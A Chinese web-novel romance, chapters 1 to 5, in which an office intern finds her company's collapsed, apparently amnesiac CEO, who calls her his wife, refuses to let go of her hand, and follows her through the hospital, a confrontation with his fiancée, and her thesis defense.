《摸鱼摸成总裁太太》
1. 喜提老公(不是)
下午三点十七分,林栖躲在消防通道里刷手机。
距离下班还有两小时零十三分钟,她已经在心里把这十三个分钟拆解成了无数个碎片——刷五分钟抖音,看两章小说,再刷五分钟抖音,再……算了她懒得再算,反正摸鱼的最高境界就是忘记时间。
手机屏幕上,室友发来一条微信:【明天答辩ppt打印了吗?】
林栖叼着从茶水间顺来的小饼干,单手打字:【急什么,后天答辩明天再打,这叫效率。】
【你实习报告盖完章了吗?】
【没呢,下周再说。】
【你们公司怎么样?能转正吗?】
林栖翻了个白眼,噼里啪啦打字:【转什么正?八千块钱一个月,每天给主管端茶倒水,给同事拿外卖,最离谱的是上周他们让我给一只猫做PPT——你知道为什么吗?因为那是总监的猫!他们要给猫过生日!】
室友发来一连串哈哈哈。
林栖继续:【我就等着实习结束拿毕业证,赶紧跑路。这破公司,多待一天都是对生命的浪费。】
【你这话要是被你们总裁听见,当场开除。】
【我们总裁?】林栖啃了口饼干,【我都来三个月了,连总裁长什么样都不知道。听说是个富二代,三十岁不到,天天在顶层不下来。我跟你说,这种有钱人,跟我们不是一个次元的,你就当他是个传说。】
【万一哪天你碰上了呢?】
【碰上?碰上我就装死。他走他的阳关道,我过我的独木桥,井水不犯河水。】
发完这条,林栖把手机揣进兜里,推开了消防通道的门。
她做梦都没想到,四十分钟后,她会和那个“传说”躺在一起。
还被他叫了一声“老婆”。
事情发生的时候,林栖正在工位上摸鱼。
是真的在摸鱼——她养了一小缸鱼放在桌上,美其名曰“缓解工作压力”,实际上是在看两条斗鱼打架。
“林栖!”
主管的声音从背后传来,吓得她差点把鱼缸打翻。
“去,把这份文件送到二十一楼。”主管把一沓纸拍在她桌上,“快点,急用。”
林栖看了一眼那沓纸:“二十一楼?那不是……”
“让你去你就去,哪那么多废话?”
林栖认命地站起来。
二十一楼,总裁办,传说中那个富二代的地盘。
她来公司三个月,从来没上去过。据说那里有独立的电梯、独立的休息区、独立的餐厅——总之就是一个独立王国。
不过跟她有什么关系呢?她就是个送文件的工具人。
电梯门打开,二十一楼果然和楼下不一样。地上铺着地毯,墙上挂着画,空气里还有一股淡淡的香味。
林栖低着头往前走,只想赶紧把文件交出去赶紧跑。
然后她看见走廊尽头有个人。
那人靠在墙上,姿势有点奇怪。
林栖下意识放慢脚步。
走近了两步,她才看清——
是个男的。
穿着很贵的西装。
靠着墙,脑袋一点一点的,像在打瞌睡。
林栖:“……?”
这谁啊?上班时间在这儿睡觉?
她又往前走了两步。
然后那人身体一歪。
“咚”的一声,直挺挺倒在地上了。
林栖:“??????”
她站在原地,大脑飞速运转。
什么情况???
碰瓷???
不对,这是二十一楼,谁能上来碰瓷???
她应该怎么办???
地上那人一动不动。
林栖犹豫了三秒,还是走了过去。
走近了才看清——是个年轻男人,长得挺好看,就是脸色白得吓人。额头上有个口子,正在往外渗血,大概是倒下的时候磕到墙边那个金属垃圾桶了。
林栖蹲下来,伸手探了探他的鼻息。
还有气。
她松了口气。
然后她发现他的眼睛睁开了。
那双眼睛很黑很亮,像是刚睡醒的孩子,迷茫、脆弱、毫无防备。
他看着她。
她也看着他。
然后他伸出手,一把抓住她的手腕。
力气大得出奇。
“老婆。”
林栖:“……”
林栖:“???”
她低头看看自己被抓住的手,又抬头看看他的脸,再看看他额头上的血,最后又低头看看他的手。
她张了张嘴,一时之间不知道该说什么。
“你……”
“老婆。”他又叫了一声,攥得更紧了,“你来了。”
他的声音低沉沙哑,却带着一种奇异的依赖和信任。就好像他们真的认识,就好像她真的是他等的那个人。
林栖的脑子里飞快地闪过无数个念头。
他是谁?
他为什么叫我老婆?
他是不是撞到头了?
他是不是把我当成别人了?
等等,他的意思是——我是他老婆?
我?一个实习了三个月、月薪八千、连他长什么样都不知道的小透明?
“你认错人了。”她试图把手抽出来,“我不是……”
“是。”他打断她,固执地看着她,“你是。”
林栖:“……我不是。”
“是。”
“我不是。”
他皱起眉,好像她说了什么不可理喻的话。然后他抬起另一只手,摸了摸她的脸——其实是摸偏了,摸到了她的耳朵,但动作很轻,像是在确认什么。
“是。”他说,语气笃定,“我记得。”
林栖被他摸得一激灵,耳朵瞬间红了。
“你、你你你把手拿开!”
他没拿开,就看着她。
看了一会儿,他说:“你就是我老婆。”
林栖:“……”
保安队的人终于冲过来了。
“陆总!陆总!”
“快叫救护车!”
一群人围上来,七手八脚地想把他扶起来。
但他不肯松手。
不管保安怎么扶他、抬他,他的手就是死死地攥着林栖的手腕,攥得她都有点疼了。
“陆总,您先松手,我们送您去医院……”
“不松。”他看着林栖,“她一起。”
保安队长愣住了,看向林
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栖:“您是……?”
林栖张了张嘴。
她是谁?
她就是个送文件的啊!
“......”
林栖被塞进救护车的时候,整个人还是懵的。
她就那么坐在担架旁边,看着急救人员给陆时琛量血压、测心率、包扎额头,脑子里只有一个念头——
我这算不算工伤?
不对,我是来送文件的。
也不对,文件还在我手里攥着呢。
她低头看了看那沓被自己捏得皱巴巴的A4纸,沉默了三秒。
“那个,”她对急救人员说,“我能把这文件放一边吗?”
没人理她。
陆时琛的手还攥着她的手腕,力道比刚才轻了点,但依然没有要松开的意思。
林栖叹了口气,用另一只手掏出手机,给主管发了条微信:
【主管,文件可能晚点送到。】
发完,她又补了一条:
【我在救护车上。】
主管秒回:【???】
【你出什么事了???】
【林栖你别吓我!!!】
林栖想了想,回复:【不是我,是陆总。】
主管那边沉默了三秒。
然后发来一连串的问号,还有一条60秒的语音。
林栖没点开。
她把手机揣回兜里,低头看了看陆时琛。
他闭着眼睛,眉头微微皱着,不知道是睡着了还是在忍疼。
林栖这才有机会好好打量他。
长得确实好看。
不是那种精修过的网红脸,是那种……怎么说呢,就很清贵的长相。
眉骨高,鼻梁挺,下颌线锋利得像用尺子量过。
可惜现在脸色惨白,额头还包着纱布,狼狈得像只落水的大狗。
林栖看着看着,忽然发现他眼皮动了动。
然后他睁开眼,正好对上她的视线。
“你在看我。”他说。
林栖:“……没有。”
“有。”
“没有。”
他盯着她看了一会儿,嘴角动了动。
“你看我,我不疼。”
林栖:“……”
这人是不是撞傻了?
她决定不接话,看向窗外。
但他的手,还握着她的手腕。
拇指在她手背上轻轻蹭了一下。
林栖耳朵一热,假装没发现。
看着窗外飞速掠过的霓虹灯,她开始思考一个很现实的问题——
等这位大少爷恢复记忆,她该怎么办?
但很快林栖又想通了。
反正——
是他自己叫我老婆的。
又不是我逼他的。
就冲这张脸,好像也不亏。
林栖这样想着,嘴角微微翘了起来。
手机在兜里又震了一下。
她没看。
她不知道的是——算了,她很快就知道了。
此刻,公司群里,有一张照片正在疯传。
照片里,她蹲在晕倒的总裁身边,两人的手握在一起。
标题:【惊天大瓜!总裁的“秘密情人”现身!】
2. 秒变负翁”(不是)
救护车一路呼啸着到了瑞和医院。
林栖被拽下车,被拽进急诊室,被拽到病床边——整个过程里,她的手就没从陆时琛手里解放出来过。
“家属是吧?来让一下,我们要处理伤口!”
林栖被迫往旁边挪了半步。
陆时琛被按在病床上,医生护士围上来,剪头发的剪头发,消毒的消毒,量血压的量血压。但他的一只手始终伸在外面,死死攥着林栖的手腕,导致护士要一直绕着他的胳膊操作。
“这位家属,”护士委婉地说,“您要不坐这儿?”
林栖被按在床边的凳子上。
她低头看看自己被握住的手,又抬头看看忙活的医护人员,再看看床上那个头上流着血还盯着她看的男人。
行吧。
手机在兜里震个不停。
林栖用另一只手掏出来一看——
公司群炸了。
有人把她在二十一楼扶着陆时琛的照片发到了大群里。
照片拍得还挺清楚:她蹲在地上,陆时琛抓着她的手,两个人四目相对,氛围感拉满。
下面跟了一百多条消息。
【这姑娘谁啊???】
【是林栖!行政部那个天天摸鱼的!】
【卧槽她握着总裁的手!!!】
【这俩绝对有问题!!!】
林栖:“……”
她默默地点进群成员列表,确认了一下——大群,四百多号人,上到总监下到保洁,全都在。
她又默默退出来,把群消息设成了免打扰。
旁边,陆时琛的脑袋被医生按着缝针,眼睛却还在往她这边瞄。
“疼吗?”他问。
林栖愣了一下:“我?不疼啊。”
“那就好。”他放心了,继续被缝针。
林栖:“……”
缝的是他,问她疼不疼干什么?
手机又震了。
这回是私聊。
主管:【林栖,你是不是有什么背景一直瞒着我们?】
林栖:【???没有啊。】
主管:【真的?你不是什么流落民间的豪门千金?总裁小时候的未婚妻?失散多年的妹妹?】
林栖:【主管,您少看点儿言情小说吧。】
主管:【那你解释一下现在的情况!】
林栖看了看床上的男人,又看了看自己被握住的手,认真地想了想。
林栖:【可能就是……他撞到头了,脑子不清醒,把我当成别人了。】
主管:【那为什么是你?公司那么多人,怎么就偏偏是你?】
林栖:【……运气不好?】
主管:【…………】
主管发来一张截图。
是公司另一个群的聊天记录。
【你们说这个林栖到底什么来头?】
【不知道啊,就是个实习生,平时挺低调的。】
【低调?我听说她每天上班就是摸鱼,主管都管不了她!】
【真的假的?实习生敢摸鱼?】
【真的!我亲眼看见她在茶水间吃零食,吃完就走了,都不收拾!】
【卧槽,这背景得多硬啊……】
【说不定人家就是来体验生活的!】
【对对对,你们看她穿的虽然是平价衣服,但气质就不一样!】
【有道理!普通人哪敢那么理直气壮地摸鱼!】
【所以她是……总裁的秘密情人???】
【有可能!】
【天哪天哪天哪!】
林栖看着这些聊天记录,陷入了沉思。
她摸鱼是因为——她只是个实习生啊!她不在乎啊!她就等着跑路啊!
怎么在别人眼里,这就成了“有背景”的证据?
她还没来得及回复主管,又一个私聊弹出来。
是隔壁工位的小王:【林栖!!!你藏得好深啊!!!】
林栖:【……我藏什么了?】
小王:【我天天跟你一起吃饭,你都没告诉我你和总裁有关系!】
林栖:【我和他没关——】
小王:【别装了!大家都看出来了!】
林栖:【看出什么了?】
小王:【你平时摸鱼摸得那么理直气壮,肯定是有后台的!我们都以为是哪个总监,没想到是总裁!姐妹你太牛了!】
林栖:“……”
小王:【以后发达了别忘了我们啊!苟富贵勿相忘!】
林栖看着屏幕,一时不知道该怎么回复。
旁边,陆时琛的伤口处理完了。
他头上缠了一圈纱布,脸色还是有点白,但精神看起来好多了。
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他转过头,看着她,眼神亮亮的。
“好了。”
林栖点点头:“那我去办手续。”
“一起。”他说,然后自己从床上坐起来。
护士赶紧过来扶他:“陆先生您慢点!”
他站起来,晃了一下,但手还是没松。
林栖叹了口气,对护士说:“手续在哪儿办?我带他去。”
护士指了指方向。
林栖就这么被他拽着,一路走到了缴费窗口。
窗口里面的阿姨看了一眼他们握在一起的手,又看了看他头上的纱布,露出一个“我懂”的微笑。
“办住院是吧?家属把单子填一下。”
林栖接过单子,用左手歪歪扭扭地开始填。
姓名:陆时琛。
年龄:她抬头看他,“你多大?”
“二十九。”
她低头写。
填到联系人那一栏,她顿了顿。
“你家里人的电话多少?”
他想了想,摇头:“不记得。”
林栖:“……”
她又问:“那你知道谁的电话吗?”
他继续摇头。
林栖深吸一口气,换了个问题:“那你记得什么?”
他看着她,认真地说:“记得你。”
林栖握着笔的手顿了一下。
“你是林栖,我老婆。”他补充,“别的都不记得了。”
林栖看着他。
他也看着她,眼神清澈,毫无保留。
窗口阿姨咳嗽了一声:“小姑娘,先填完吧。”
林栖回过神来,在联系人那一栏写下了自己的名字和电话。
关系那一栏,她犹豫了一下,写了个“朋友”。
陆时琛凑过来看,皱起眉。
“不是朋友。”
“是朋友。”
“是老婆。”
窗口阿姨笑着打圆场:“行行行,老婆就老婆,填什么都一样。住院押金五万,刷卡还是手机支付?”
林栖愣了一下,看向陆时琛。
陆时琛也在看她。
“我没带钱。”他说,语气理所当然。
林栖:“……那怎么办?”
“你有吗?”
“我一个实习生,月薪八千,你让我拿五万?”
3. 百万富婆(暂定)
林栖看着陆时琛,他也看着她。
两人大眼瞪小眼。
窗口阿姨又咳嗽了一声:“那个……要不先联系一下他家里人?”
林栖低头看了看他被攥住的手,又抬头看了看他无辜的眼神。
“你家里人的电话,真的一点都想不起来?”
他认真地想了想。
“好像有个妈。”他说。
林栖眼睛一亮:“电话呢?”
他又想了想。
“不记得。”
林栖:“……”
行,等于没说。
她叹了口气,掏出自己的手机。
“你手机呢?说不定通讯录里有。”
他摸了摸口袋,摸出一个手机,递给她。
林栖接过来,按了一下——没电,黑屏。
“……”
她默默地把手机还给他。
窗口阿姨看着这一幕,脸上的表情很微妙。大概是在想:这俩什么情况?男的头上缠着纱布,女的被攥着手,俩人加起来凑不出一个能打电话的通讯录?
林栖也觉得自己有点惨。
五万块,她拿不出来。
家里人的电话,她倒是记得——但她妈接到电话的第一反应肯定是:“你进局子了???”
算了。
她看向陆时琛:“你身上有卡吗?”
他又摸了摸口袋,摸出一张黑卡。
林栖不认识黑卡,只觉得这张卡长得挺高级,跟普通银行卡不太一样。
她接过卡,递给窗口阿姨。
阿姨看了一眼,眼睛瞬间瞪大了。
“这、这是……”
林栖:“怎么了?”
阿姨看了看卡,又看了看陆时琛,又看了看林栖,脸上的表情变得非常复杂。
“没什么没什么。”阿姨迅速刷了卡,把卡还回来,态度肉眼可见地热情了十倍,“手续办好了!病房在十五楼,VIP区,会有护士带你们上去!”
林栖接过卡,塞回陆时琛兜里。
然后她低头看了看自己被攥住的手。
“你能稍微松一点点吗?我手有点麻。”
他低头看了看,稍微松了一点点。
就一点点。
林栖:“……”
行吧,有进步。
“你在想什么?”他问。
林栖抬头看他。
“在想我今天是不是出门没看黄历。”
他愣了一下,然后笑了。
明明头上还缠着纱布,脸色还有点白,可他笑起来的样子,竟然有点好看。
“那你以后出门都看。”他说,“我陪你看。”
林栖:“……”
这人怎么还会接话的?
电梯门打开,十五楼到了。
一个护士已经在电梯口等着了,看见他们出来,笑容满面地迎上来。
“陆先生,陆太太,这边请。”
林栖脚步顿了一下。
陆太太?
她想说“我不是”,但张了张嘴,又咽回去了。
算了,解释起来太麻烦。
病房很大,很大,非常大。
林栖站在门口,看着眼前这间比她出租屋大三倍不止的房间,沉默了三秒。
沙发、茶几、电视、独立洗手间,甚至还有一个小冰箱和一张陪护床。
落地窗外,能看到半个城市的风景。
她转头看向陆时琛。
“你们有钱人住院都住这种地方?”
他想了想,认真地说:“我不知道,我不记得了。”
林栖:“……”
忘了,这人失忆了。
护士笑眯眯地交代了一堆注意事项,又笑眯眯地看了看他们握在一起的手,然后笑眯眯地退出去了。
门关上。
病房里安静下来。
林栖低头看看自己被攥住的手,又抬头看看他。
“那个,”她说,“你能不能先松开?我想上个厕所。”
他看着她,不说话。
“真的,就一会儿。”
他还是不说话,但手稍微松了一点点。
就一点点。
林栖:“……”
她叹了口气,用另一只手掏出手机,对着他们握在一起的手拍了张照片。
然后她把照片怼到他眼前。
“你看,你握着我的手,我跑不了。我就去上个厕所,三分钟就回来。”
他看着照片,又看看她,终于松开了手。
“三分钟。”他说。
林栖点点头,快步走进洗手间。
门关上的那一刻,她终于松了一口气。
她坐在马桶盖上,掏出手机。
公司群还在刷屏,但她已经不想看了。
她点开和室友的对话框。
林栖:【江湖救急。】
室友秒回:【???怎么了???】
林栖想了想,发了一张照片——刚才拍的,她和那只手。
室友:【???这是谁的手???】
林栖:【我们总裁的。】
室友:【???????】
室友:【你摸你们总裁的手???】
林栖:【不是,是他摸我的。】
室友:【???有什么区别吗???】
林栖:【区别就是……我抽不出来。】
室友发来一连串问号。
林栖深吸一口气,开始打字:
【事情是这样的。我今天下午去送文件,碰见他晕倒了,头上磕了个口子在流血。我蹲下去看他,他睁开眼睛,抓住我的手,叫我老婆。】
【然后他就不松手了。】
【救护车来了,他不松手。】
【到医院了,他不松手。】
【缝针的时候,他不松手。】
【办住院的时候,他不松手。】
【现在我在洗手间里坐着,他才勉强松了手。】
【就勉强了三分钟。】
室友那边沉默了整整十秒。
然后发来一条语音。
林栖点开,就听见一声尖叫——
“啊啊啊啊啊啊啊!!!”
她赶紧把音量调小。
第二条语音:“所以你捡了个总裁???”
第三条:“他叫你老婆???”
第四条:“他不松手???”
第五条:“林栖你这是走了什么狗屎运啊!!!”
林栖打字:【这叫狗屎运吗?这叫麻烦好吗?】
室友:【这叫麻烦???你管这叫麻烦???】
室友:【一个长得好看的有钱人,失忆了只记得你,抓着你的手不放叫你老婆——这叫麻烦???】
室友:【这明明是偶像剧开场啊姐妹!!!】
林栖看着这条消息,愣了一下。
偶像剧?
她想起刚才电梯里,他笑着说“我陪你看”的样子。
又想起他认真地说“记得你”的样子。
又想起他看着她时,眼睛亮亮的样子。
……好像,是有点偶像剧那意思?
但她很快摇了摇头。
“林栖,你清醒一点。”她小声对自己说,“他脑子撞坏了,等他想起来你就什么都不是了。”
外面传来敲门声。
“三分钟到了。”
林栖:“……”
她洗了手,推开门。
刚走出来,病房门就被人猛地推开了。
一个年轻女人站在门口。
穿着香奈儿套装,背着爱马仕,妆容精致,气势汹汹。
她的目光在病房里扫了一圈,最后落在林栖身上。
脸色瞬间变了。
林栖低头看了看自己被握着的手,又抬头看了看门口的女人。
然后她慢慢转过头,看向陆时琛。
他也在看着门口那个女人,表情淡淡的,没什么波澜。
“时琛。”那女人开口,声音里带着一丝颤抖,“她是谁?”
陆时琛看了她一眼。
然后他收回视线,看向林栖。
“老婆,”他问,“这人谁啊?”
门口那个女人脸上的表情已经不能用“精彩”来形容了。
那是震惊、愤怒、不可置信、还有一丝受伤,混合在一起,最后变成了一种扭曲的僵硬。
“时琛,”她的声音有点抖,“你……你不记得我了?”
陆时琛看了她一眼。
就一眼。
然后他收回视线,继续看着林栖。
“不记得。”他说,语气平平的,“她谁?”
林栖沉默了。
她低头看了看自己被握住的手,又抬头看了看门口那个女人的表情——对方的眼眶已经红了。
不是那种来撕逼的红,是那种真的被伤到了的、委屈的红。
林栖心里“咯噔”了一下。
完了。
这姐们儿是真伤心了。
林栖:“......”
我只是个实习生,为什么要处理这种情感纠纷?
她张了张嘴,正准备说点什么缓解一下气氛,门口又冲进来一个人——是昨天那个保安队长。
“苏小姐!苏小姐您不能这样闯进来!”他气喘吁吁地挡在那女人面前,“陆总需要静养,您——”
“让开。”
女人的声音冷了下来。
保安队长没动。
“苏小姐,您别让我为难……”
“我说让开。”
林栖看着这一幕,忽然有点想嗑瓜子。
陆时琛忽然捏了捏她的手。
林栖低头看他。
他看着她,眼神里带着一点疑惑,好像在问:你为什么不说话?
林栖用眼神回他:我说什么?我连她是谁都不知道!
他用眼神回她:我也不知道。
林栖:“……”
行,你赢了。
她深吸一口气,决定先搞清楚状况。
“那个,”她开口,对门口那个女人说,“你先别激动,听我说——”
“听你说什么?”那女人打断她,目光像机关枪一样射过来,“听你说你怎么趁人之危?听你说你怎么趁他失忆骗他叫你老婆?”
林栖愣了一下。
???
她骗他?
她骗什么了?
“首先,”她竖起一根手指,“是他抓着我的手叫我老婆的,不是我逼他的。”
那女人脸色一变。
“其次,”她竖起第二根手指,“我叫林栖,是行政部的实习生,今天之前根本不认识他。”
那女人嘴唇动了动。
“第三,”她竖起第三根手指,晃了晃他们交握的手,“你也看见了,是他不松手,不是我赖着不走。你要是有意见,你让他松啊。”
那女人沉默了。
她看向陆时琛。
陆时琛也看着她。
四目相对。
然后陆时琛开口了:“你谁?”
那女人的表情僵住了。
林栖差点笑出声。
她拼命忍住,假装在看窗外的风景。
那女人盯着陆时琛看了三秒,眼眶更红了。
然后她深吸一口气,看向林栖。
“林栖是吧?”她慢慢走过来,在林栖面前站定。
林栖下意识坐直了身体。
那女人居高临下地看着她,忽然弯下腰,凑近她的耳边。
林栖闻到一股很好闻的香水味。
然后她听见那女人用只有两个人能听见的音量说:“小姑娘,你挺有意思的。不过我得提醒你一句——他要是真失忆了,怎么偏偏只记得叫你老婆?”
林栖愣住了。
那女人直起身,退后一步,恢复成那副冷艳的表情。
“好,我记住你了。”
说完,她转身就走。
高跟鞋的声音“哒哒哒”地消失在走廊尽头。
林栖坐在沙发上,整个人都是懵的。
她刚才那句话什么意思?
什么叫“偏偏只记得叫你老婆”?
她慢慢转过头,看向陆时琛。
陆时琛也正在看她。
表情无辜,眼神清澈,完美无瑕。
林栖盯着他看了三秒。
他眨了眨眼。
“怎么了?”
林栖张了张嘴,想说点什么,又不知道该说什么。
保安队长松了口气,对林栖比了个“放心”的手势,也退出去了。
门关上。
病房安静下来。
林栖还是盯着陆时琛看。
“她刚才跟你说什么了?”他问。
林栖没回答。
她继续盯着他看。
他继续无辜地眨眼。
“……没什么。”她最后说,“就是让我好好照顾你。”
他点点头,笑了。
“那你照顾吗?”
林栖看着他这张人畜无害的脸,想起刚才苏婉那句话,心里有一万个问号在狂奔。
但她决定先按下不表。
“看你表现。”她说。
他愣了一下。
“什么表现?”林栖晃了晃被他握着的手:“先松开,我要看手机。”
他低头看了看他们交握的手,又抬头看了看她,认真地说:
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“不松。”
林栖:“……”
行,试探失败。
她叹了口气,用另一只手掏出手机。
公司群又炸了。
有人把刚才苏婉冲进医院的照片发出来了,配文:【劲爆!正宫杀到医院,小三落荒而逃!】
林栖看着“小三落荒而逃”这几个字,沉默了。
她什么时候落荒而逃了?
她明明好好坐在沙发上好吗!
下面已经跟了几百条评论:
【卧槽苏婉真的杀过去了???】
【林栖完了完了】
【你们猜谁会赢?】
【这还用猜吗?苏婉什么背景,林栖什么背景?】
【可怜的小实习生,被总裁坑惨了】
【有没有可能是真爱?】
【真爱个屁,总裁有未婚妻的好吗】
【那林栖算什么?】
【算她倒霉呗】
林栖看着这些评论,心情复杂。
她放下手机,靠在沙发上,望着天花板。
陆时琛看她表情不对,问:“怎么了?”
“没什么。”她说,“就是突然发现自己成小三了。”
他皱起眉。
“你不是。”
“他们说我是。
“他们是谁?”林栖想了想,决定换个说法:“你那个未婚妻的粉丝团。”
他沉默了一下。
然后他说:“那我也应该有粉丝团。”
林栖:“……?”
“我的粉丝团就说你不是。”
林栖愣了一下。
然后她没忍住,笑了。
“你哪来的粉丝团?”
他认真思考了一会儿。
“我可以雇一个。”
林栖笑得肩膀直抖。
这人怎么一本正经地搞笑?
笑完之后,她忽然想到一个问题。
她盯着他看了三秒。
“陆时琛。”
“嗯?”
“你是真的什么都不记得了?”
他看着她。
“记得你。”他说,“其他的不记得。”
林栖盯着他的眼睛。
那双眼睛很黑很亮,清澈见底,看不出任何破绽。
她又想起苏婉那句话——“他要是真失忆了,怎么偏偏只记得叫你老婆?”
是啊,为什么呢?
“喂,”她戳了戳他的手,“你说你只记得我,那你记得我叫什么吗?”
“林栖。”
“怎么认识的?”
他想了想。
“不记得了。”
“那你怎么知道我是你老婆?”
他又想了想。
“就是知道。”
林栖:“……”
这回答,完美无懈可击。
她决定换个思路。
“那你记得苏婉吗?”
“谁?”
“刚才那个,你未婚妻。”
他皱起眉。
“不是未婚妻。”
“他们说她是。”
“他们说。”他重复了一遍,语气淡淡的,“他们说你就信?”
林栖噎了一下。
这话说的……好像也没错?
但她林栖是那种被人一句话就带偏的人吗?
她往后一靠,望着天花板。
脑子里开始转:这位大少爷是有婚约的人。
她这是……喜提豪门体验卡一张?有效期未知?
等等!片酬呢?
“喂,”她戳了戳他的手,“你说我这算不算工伤?”
他愣了一下。
“什么?”
“工伤。”她说,“我就是来送个文件,结果莫名其妙成了小三,还被你未婚妻记恨上了?实习期还有七天结束,以后我找工作会不会被她封杀?”
他认真思考了一会儿。
“那我赔你。”
林栖眼睛一亮。
“怎么赔?”
他又想了想。
“你要什么?”
林栖张了张嘴,想说“钱”,又觉得太直接。
她咳嗽一声。
“那个,我就是随便问问……”
“一百万。”
林栖:“……???”
她愣住了。
“什么?”
“一百万。”他说,“够吗?”
林栖的大脑当机了三秒。
一百万?
够吗?
当然够!!!
她一个月工资八千,一百万够她不吃不喝攒十年!
“你、你说真的?”
他点点头。
“真的。”
林栖深吸一口气,努力让自己看起来不那么激动。
“那个,”她清了清嗓子,“我觉得吧,工伤这种事,确实应该有点补偿……”
他看着她,嘴角微微翘起来。
“好,那就一百万。”
林栖感觉自己的心跳都快了。
一百万!
她可以还清助学贷款!
可以给妈妈换个好点的房子!
可以——
等一下。
她低头看了看他们交握的手,又抬头看了看他。
“你不会是在耍我吧?”
“没有。”
“那你现在给我?”
他想了想。
“我现在没钱。”
林栖:“……”
然后她叹了口气。
“算了,等你恢复记忆再说吧。”她往后一靠,“到时候你别反悔就行。”
他没说话。
过了一会儿,她感觉他捏了捏她的手。
“林栖。”
“嗯?”
“我不会反悔的。”
林栖愣了一下。
她扭头看他。
他看着她,眼神认真。
“知道了知道了,”她移开视线,“先把你自己的事搞清楚再说吧。”
他没再说话。
病房安静下来。
林栖靠在沙发上,望着窗外渐渐暗下来的天色,脑子里乱糟糟的。
一百万。
未婚妻。
失忆。
她这是走了什么运?
手机又震了。
她掏出来一看——
是室友发来的微信:【明天答辩别忘了!!!】
林栖这才想起来,对哦,明天答辩。
她扭头看陆时琛。
他还在“睡着”。
算了,明天的事明天再说。
今晚先当个百万富婆(暂定)吧。
4. 你是老婆,也是主人
第二天早上七点,林栖是被手机闹钟炸醒的。
她迷迷糊糊摸到手机,眯着眼睛看了一眼——【答辩倒计时:3小时】。
瞌睡瞬间醒了。
她猛地坐起来,然后发现自己动不了。
低头一看——陆时琛还握着她的手。
他睡得很沉,睫毛在晨光里投下一小片阴影,额头上的纱布白得刺眼,嘴唇微微抿着,像个毫无防备的小孩。
林栖盯着他看了三秒。
然后她轻轻抽了抽手。
他立刻皱起眉,手又握紧了一点。
林栖:“……”
她叹了口气,用另一只手戳了戳他的脸。
“喂,醒醒。”
没反应。
再戳。
还是没反应。
林栖看着他的睡颜,忽然起了坏心眼。
她凑近他耳边,轻轻说:“你老婆跑了。”
他瞬间睁开眼。
那双眼又黑又亮,带着刚睡醒的迷茫,直直地看着她。
“没跑。”他说,声音有点哑,“还在。”
林栖愣了一下。
然后她耳朵一热。
“那个,”她开口,“我今天有点事。”
陆时琛眨了眨眼:“什么事?”
“答辩。”她晃了晃手机,“我明天毕业,今天最后一道坎。”
他想了想,认真地问:“答辩是什么?”
“就是……站在台上,跟一群老师解释我大学四年学了什么。”林栖顿了顿,“解释完了他们打分,及格了我就能拿毕业证。”
“哦。”他点点头,“那我跟你一起去。”
林栖:“……???”
“你去干什么?”
“陪你。”
“不用。”
“要的。”
“真的不用。”
他看着她的眼睛,语气平静:“你是我老婆,你的事就是我的事。”
林栖张了张嘴,一时不知道该怎么接。
这人怎么什么都能往“老婆”上扯?
“不是,”她试图讲道理,“你去干什么?你头上还缠着纱布,你连自己叫什么都差点想不起来,你怎么去?”
他认真地想了想。
“坐着。”他说,“在旁边坐着。”
林栖:“……”
“等你讲完,”他继续说,“我给你鼓掌。”
林栖看着他。
他也看着她,眼神清澈,理直气壮。
她忽然有点想笑。
“行吧,”她叹了口气,“那你坐着,别说话。”
他点点头,嘴角弯起来。
“好。”
林栖低头看了看自己被握住的手。
从昨晚到现在,这只手就没离开过她的手腕
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。
她抬手,他也跟着抬。
她放下,他也跟着放。
像个人形挂件。
她忽然起了坏心思。
她把手往左边晃了晃。
他的手跟着往左边。
她又往右边晃了晃。
他的手跟着往右边。
她把手举高。
他也跟着举高。
林栖没忍住,笑出声来。
“你干嘛?”她问。
他看着她,认真地说:“你动我就动。”
“为什么?”
“不想松手。”
林栖看着他那张认真的脸,忽然觉得这人有点可爱。
明明是个总裁,明明比她大好几岁,现在却像个跟屁虫一样,她动一下他跟一下。
“你知道你这样像什么吗?”
“像什么?”
“像小狗。”她笑着说,“主人走到哪儿跟到哪儿的那种。”
他想了想,居然点点头。
“那你就是主人。”
林栖愣了一下。
他看着她,眼神真诚,完全没有开玩笑的意思。
“你是老婆,也是主人。”他说,“都行。”
林栖的耳朵又开始发烫了。
这人到底会不会说话???
她移开视线,假装看窗外。
但嘴角忍不住翘起来。
5. 你捡的这是什么神仙?
上午十点,林栖带着陆时琛出现在学校门口。
她看着熟悉的校门,忽然有一种恍如隔世的感觉。
昨天这个时候,她还在公司摸鱼。
现在呢?
她低头看了看被握住的手,又看了看旁边那个头上缠着纱布的男人。
魔幻。
室友已经在门口等着了,看见他们,眼睛瞬间瞪大。
“卧槽!!!”她冲过来,“林栖!!!”
林栖赶紧示意她小点声。
但室友已经顾不上那么多了,盯着陆时琛上下打量。
“你就是那个总裁???”
陆时琛点点头。
“你头上真的缠着纱布???”
又点点头。
“你一直握着她手???”
他低头看了看,又点点头。
室友深吸一口气,转头看向林栖。
“姐妹,”她压低声音,“你捡的这是什么神仙?”
林栖:“……”
“行了行了,别看了。”她把室友推开,“答辩在哪个楼?”
“二教。”室友一边走一边回头瞄陆时琛,“你们坐什么来的?”
“地铁。”
室友脚步一顿:“……地铁???”
林栖理直气壮:“怎么了?地铁方便。”
室友看向陆时琛:“你坐地铁?”
他点点头,认真地说:“第一次坐,挺有意思的。”
室友:“……”
她默默凑到林栖耳边:“他真的失忆了?”
林栖点头。
“失忆了都这么帅。”
林栖瞪她一眼。
二教到了。
林栖让陆时琛在教室外面等着,自己进去签到。
教室里已经坐了不少人,都在紧张地翻资料。
林栖找到自己的位置坐下,掏出论文翻了两页。
但看不进去。
她一直在想外面的那个人。
他一个人坐在走廊的长椅上,会不会无聊?
会不会有人问他为什么头上缠着纱布?
会不会——
“林栖!”
有人拍了她一下。
林栖抬头,是班长。
“你听说了吗?”班长压低声音,一脸神秘,“今天有个大人物来!”
林栖心里咯噔一下。
“什么大人物?”
“苏氏集团的董事长!”班长兴奋地说,“好像是学校请来当客座教授的,今天正好来观摩答辩!”
林栖沉默了。
班长继续说:“听说他女儿跟咱们学校一个学长订婚了,那个学长好像是什么公司的总裁,超级有钱!”
林栖继续沉默。
班长看她没反应,有点失望:“你怎么一点都不惊讶?”
林栖扯出一个微笑:“惊讶,非常惊讶。”
班长满意地走了。
林栖坐在原地,大脑飞速运转。
苏正平。
苏氏集团董事长。
苏婉她爸。
现在,他就在这个楼里。
而她“老公”,正坐在走廊的长椅上。
她深吸一口气,又缓缓吐出来。
没事的。
他就是来观摩的,不一定认识她。
就算认识她,又怎么样?
